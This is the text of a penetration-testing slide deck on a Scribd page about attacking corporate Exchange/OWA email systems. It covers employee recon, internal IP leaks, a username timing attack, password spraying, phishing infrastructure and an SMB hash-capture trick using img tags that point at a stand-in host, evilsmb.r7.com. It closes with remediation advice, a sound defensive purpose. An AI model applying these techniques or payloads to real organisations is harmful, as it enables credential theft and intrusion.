Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
Scribd Logo
Upload

Welcome to Scribd!

  • 191 views

    Hacking Corporate Em@il Systems

    Uploaded by

    Aneudy Hernandez Peña
    This document discusses techniques for hacking corporate email systems. It covers information gathering methods like locating employee names and email domains. It also describes attacks like brute-force password guessing against email services, phishing employees, and exploiting the SMB protocol. The goal is to obtain valid Active Directory credentials that can then be reused to access other internal systems and data. The document provides step-by-step explanations of these hacking methods and includes demonstrations of tools.

    Copyright:

    © All Rights Reserved
    Download as PPTX, PDF, TXT or read online from Scribd

    Hacking Corporate Em@il Systems

    Uploaded by

    Aneudy Hernandez Peña
    191 views61 pages
    This document discusses techniques for hacking corporate email systems. It covers information gathering methods like locating employee names and email domains. It also describes attacks like brute-force password guessing against email services, phishing employees, and exploiting the SMB protocol. The goal is to obtain valid Active Directory credentials that can then be reused to access other internal systems and data. The document provides step-by-step explanations of these hacking methods and includes demonstrations of tools.

    Original Title

    Hacking Corporate Em@il Systems.pptx

    Copyright

    © © All Rights Reserved

    Available Formats

    PPTX, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    This document discusses techniques for hacking corporate email systems. It covers information gathering methods like locating employee names and email domains. It also describes attacks like brute-force password guessing against email services, phishing employees, and exploiting the SMB protocol. The goal is to obtain valid Active Directory credentials that can then be reused to access other internal systems and data. The document provides step-by-step explanations of these hacking methods and includes demonstrations of tools.

    Copyright:

    © All Rights Reserved
    Download as PPTX, PDF, TXT or read online from Scribd
    Download as pptx, pdf, or txt
    191 views61 pages

    Hacking Corporate Em@il Systems

    Uploaded by

    Aneudy Hernandez Peña
    This document discusses techniques for hacking corporate email systems. It covers information gathering methods like locating employee names and email domains. It also describes attacks like brute-force password guessing against email services, phishing employees, and exploiting the SMB protocol. The goal is to obtain valid Active Directory credentials that can then be reused to access other internal systems and data. The document provides step-by-step explanations of these hacking methods and includes demonstrations of tools.

    Copyright:

    © All Rights Reserved
    Download as PPTX, PDF, TXT or read online from Scribd
    Download as pptx, pdf, or txt
    You are on page 1of 61

    Hacking Corporate Em@il Systems

    Nate Power
    Penetration Methodology
    What We are Covering
    Typical Information Gathering:
    • Email address formats / Email domain
    • Employee names / Username formats
    • SMTP locations
    • Webmail locations

    Advance Info Gathering Attacks Provide:


    • Internal IP addresses
    • Active Directory domain
    • Valid Emails
    • Valid Active Directory usernames
    What We are Covering

    Attacks being discussed:


    • Brute-force Password Guessing
    • Email Phishing
    • Outlook SMB Email Client Attack

    End game valid AD credentials!


    Locate Email Domain & Employee Names
    Locate Email Domain

    Search online databases:


    • Google, Linkedin, Facebook
    • Connect.data.com (Jigsaw)
    • ZoomInfo.com
    Gather Employee Names

    1) Linkedin
    2) Facebook
    3) ZoomInfo.com
    4) Connect.data.com (jigsaw)
    5) Company website employee directory
    6) Metadata
    7) Census Bureau data
    Gather Employee Names
    1) Scrap Linkedin

    2) Username formats in metadata


    SMTP Services
    Frontend SMTP Servers

    1) External SMTP discoverable via DNS


    2) Hosted by third party or within company address space
    3) SMTP banners potentially useful information
    4) Email validation possible via RCPT command
    Frontend SMTP Email Validation

    1) Mail aliases not used or effective


    2) SPAM controls:
    • Limit query rate
    • Blacklist IP
    • Multiple SMTP servers don’t
    correlate events
    Backend SMTP – Email Bounce Back

    1) Mail routes
    2) Mail system types i.e. Exchange 2007
    3) Active Directory domain
    4) Internal hostname / naming conventions
    5) Internal Exchange IP address
    Webmail Services
    Locate Webmail System - Autodiscover
    SEEN ON : Exchange 2007 SP2, 2010, 2013
    Client Access Server - Autodiscover

    Mail client lookups over the Internet :


    1. Static URLs - Blind POST requests

     <email-domain>/Autodiscover/Autodiscover.xml

     autodiscover.<email-domain>/Autodiscover/Autodiscover.xml

    2. DNS service recorder lookup

     dig _autodiscover._tcp.<email-domain> SRV


    OWA Webmail - Autodiscover
    500 domain names tested
    OWA Webmail - Discovery

    DEMO

    A1
    OWA Webmail - Internal IP
    IIS reveals internal address
    SEEN ON : OWA 2003, CAS 2007, 2010, 2013

    TOOL : Metasploit => owa_iis_internal_ip

    REQUEST: HTTP Host header => empty + HTTP/1.0

    RESPONSE: HTTP header 302 location and 401 Basic realm


    OWA Webmail - Internal IP
    Service Vulnerable Header IIS Paths
    /Autodiscover
    Autodiscover 401 Basic Auth /Autodiscover/Autodiscover.xml
    /Microsoft-Server-ActiveSync
    ActiveSync 401 Basic Auth /Microsoft-Server-ActiveSync/default.eas
    /ECP
    /EWS
    302 Location
    OWA /EWS/Exchange.asmx
    401 Basic Auth /Exchange
    /OWA
    OWA Webmail - Internal IP

    DEMO

    A2
    Key Information for Credential Extraction

    1) Identify Active Directory domain

    2) Identify valid usernames

    3) Identify weak passwords


    Identify Active Directory Domain
    OWA- AD Domain Enumeration

    NTLM over HTTP Challenge Response

    Request
    OWA- AD Domain Enumeration

    Response

    Decoded base64
    Identify Valid Usernames
    Format Employee Names to Usernames

    Microsoft recommended username formats:


    1) jsmith@rapid7.com
    2) jasons@rapid7.com
    3) jason_smith@rapid7.com
    4) jason.smith@rapid7.com
    Rarely see employee or user ID such i.e. a1234
    OWA Timing Attack
    start_time = Time.now
    res = send_request_cgi()
    elapsed_time = Time.now - start_time
    OWA Timing Attack

    SEEN ON : CAS / OWA (2007, 2010, 2013)/Forefront TMG, 2013

    Windows Kerberos Stages authentication


    1. Domain lookup
    2. Account lookup
    3. Verify account password
    OWA Timing Attack
    Windows Kerberos staging authentication
    Test Kerberos Process Event ID Response Time

    Non-existing domain DC searches for 4624 2-3 seconds


    realm/domain

    Domain exists but Pre-authentication ticket 4768 3-60 seconds +


    username doesn't created to verify username (varies but pattern
    exists)

    Domain and Pre-authentication ticket 4771 < 1 seconds


    username exists created to verify password
    OWA Timing Attack
    Timing Analysis – Non-existent domain
    Time (seconds) Username Event ID
    2.25 doesnt_exist_1 4624

    0.01 administrator 4624

    0.01 doesnt_exist_2 4624

    Seems CAS domain lookup caches for 30 seconds

    2.25 guest 4624

    0.01 doesnt_exist_3 4624

    0.01 training 4624


    OWA Timing Attack

    Timing Analysis – Existent CORP domain


    Time (seconds) Username Event ID
    15.00 doesnt_exist_1 4768

    0.02 administrator 4771

    15.03 doesnt_exist_2 4768

    0.01 guest 4771

    15.00 doesnt_exist_3 4768

    0.07 training 4771


    OWA Timing Attack
    Vulnerable paths :
    1. Form based authentication
    SEEN ON : OWA (2007, 2010, 2013)/Forefront TMG, 2013
    TOOL : Metasploit => owa_login

    2. HTTP NTLM support on IIS file paths


    SEEN ON : CAS (2010, 2013)/Forefront TMG, 2013

     /Autodiscover/Autodiscover.xml
     /EWS/Exchange.asmx
    OWA Timing Attack

    DEMO

    B4 B5
    Identify Weak Passwords
    via brute-force password guessing
    Brute-force Password Guessing

    Typical AD Password Policy


    • Password complexity: enabled
    • Max password age: 90 days
    • Min password length: 8 characters
    • Account lockout threshold: 5 attempts
    • Lockout reset: 30-60 minutes
    OWA Two-factor Authentication Bypass

    IIS file paths NOT protected:


     /Autodiscover/Autodiscover.xml
     /EWS/Exchange.asmx
    Brute-force Password Guessing

    Password Analysis
    • Season – Fall2015
    • Month – October15
    • Company name – Acme2015
    • Dictionary words – Password1
    Brute-force Password Guessing

    DEMO

    C8
    OWA Information Extraction
    Mailbox Keyword Search
    Mailboxes are commonly used as storage:
    1) Helpdesk tickets
    2) Active Directory default passwords
    3) Application / Database passwords
    4) VPN documentation
    5) Wireless passwords / documentation
    6) Sensitive documents
    • IP, PII, SSN, CC, etc
    Extract Global Address List

    • Doesn’t require mailbox permissions


    • /EWS/Exchange.asmx

    • Provides: employee name, job title, email, phone #


    • Use information to continue brute-force
    Autodiscover Configuration Enumeration

    SEEN ON : CAS 2007 SP2, 2010, 2013

    Autodiscover Issues :

    1. No exchange permissions required

    2. XML SOAP parameter injection

    Allows validation & enumeration of other users’ configs


    Autodiscover XML SOAP Injection

    <?xml version="1.0" encoding="utf-8"?>

    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/.....
    <Request>

    <EMailAddress>joe.johnson@example.com</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/.....

    </Request>
    </Autodiscover>
    Autodiscover Configuration Enumeration
    Autodiscover Configuration Enumeration

    DEMO

    C6
    Other Attack Vectors
    Email Phishing
    Email Phishing
    Phishing Email Sent
    • Typical Domains Used:
    • Survey web site i.e. rapid7-survey.com
    • Domain closely matching actual domain i.e. rap1d7.com

    • Sent from Trusted User: Human resources or IT

    • Email HTML URL displays as:


    https://rapid7-surveyviews.com
    But is really:
    http://rapid7-surveyviews.com/index.php?u=bmF0ZUByYXBpZDcuY29t

    • Base64 in email for tracking purposes


    • Referral URLs being tracked on phishing web server
    Phishing Web Server Logic
    • Logging:
    • Source IP
    • OS
    • Web browser version
    • Username
    • Password

    • Cookies Tracking:
    • Session cookie
    • First time visit
    • Logon attempts
    • Survey completion
    • Visits after completion
    SMB Email Client Attack
    SMB Email Client Attack
    1) Checks Outlook client configuration
    2) Embedded HTML image source tags in email
    3) Outlook client processes UNC path and tries to connect
    4) Check firewall SMB egress ports 139 and 445
    5) Allows for offline brute-forcing hash or hash passing
    6) Targets include:
    1) Outside sales
    2) IT staff / administrators
    SMB Email Client Attack
    <img src=“\\evilsmb.r7.com\images\logo.gif “>
    <img src=“file://evilsmb.r7.com/images/logo.gif” >
    SMB Email Client Attack

    STORY
    The snow day..
    Reuse AD credentials on Services
    • Web applications
    • Service desk portal
    • Exchange Control Panel
    • Citrix
    • VPN
    • Wireless
    • Dropbox
    Reusing gathered info on Internal Network
    1) SMB email client attack IT admins over VPN

    2) Domain controller locations / user credentials


    a) Gather password policy
    b) Gather all domain users / domain admins / groups
    • Brute domain admins for weak passwords
    • Locate accounts whose passwords don’t expire
    c) Gather member workstations / servers / printers
    d) Access DC netlogon and SYSVOL folders
    • Search for passwords in scripts
    • Search for group policies i.e. groups.xml

    3) CAS locations
    • Contains passwords – Mimikatz / Kiwi
    Remediation & Reduce Risk
    Remediation & Reduce Risk
    1) Educate users about: social sites and phishing
    2) Monitor DNS for newly created domains being
    processed
    3) Scrub metadata in office documents
    4) Disable front and backend SMTP verify commands
    5) Create email aliases and unique user IDs
    6) Outlook mail clients - disable HTML image processing
    7) Audit email for sensitive documents and passwords
    being stored
    Remediation & Reduce Risk
    1) Block firewall ports 139 and 445 outbound to the
    Internet and internally were appropriate
    2) Disable VPN split tunneling
    3) Network segmentation VPN & limit connection durations
    4) Apply two-factor auth where possible
    5) Readjust organization password policy
    6) Passwords should use pass phrases vs. random strings
    7) Audit Active Directory for weak passwords and accounts
    that do not expire
    Remediation & Reduce Risk
    1) CAS: disabled Basic Authentication / 302 redirects

    2) CAS: Disabled Autodiscover Service

    3) CAS: ISA Proxy / Federation Services / Outlook.com


    4) Monitor for brute-force attempts
    • Turn default log level up to monitor failed logins

    5) Evaluate incident response procedures


    • Call users when accounts are compromised
    Questions | Comments | Thoughts

    Happy hour?

    You might also like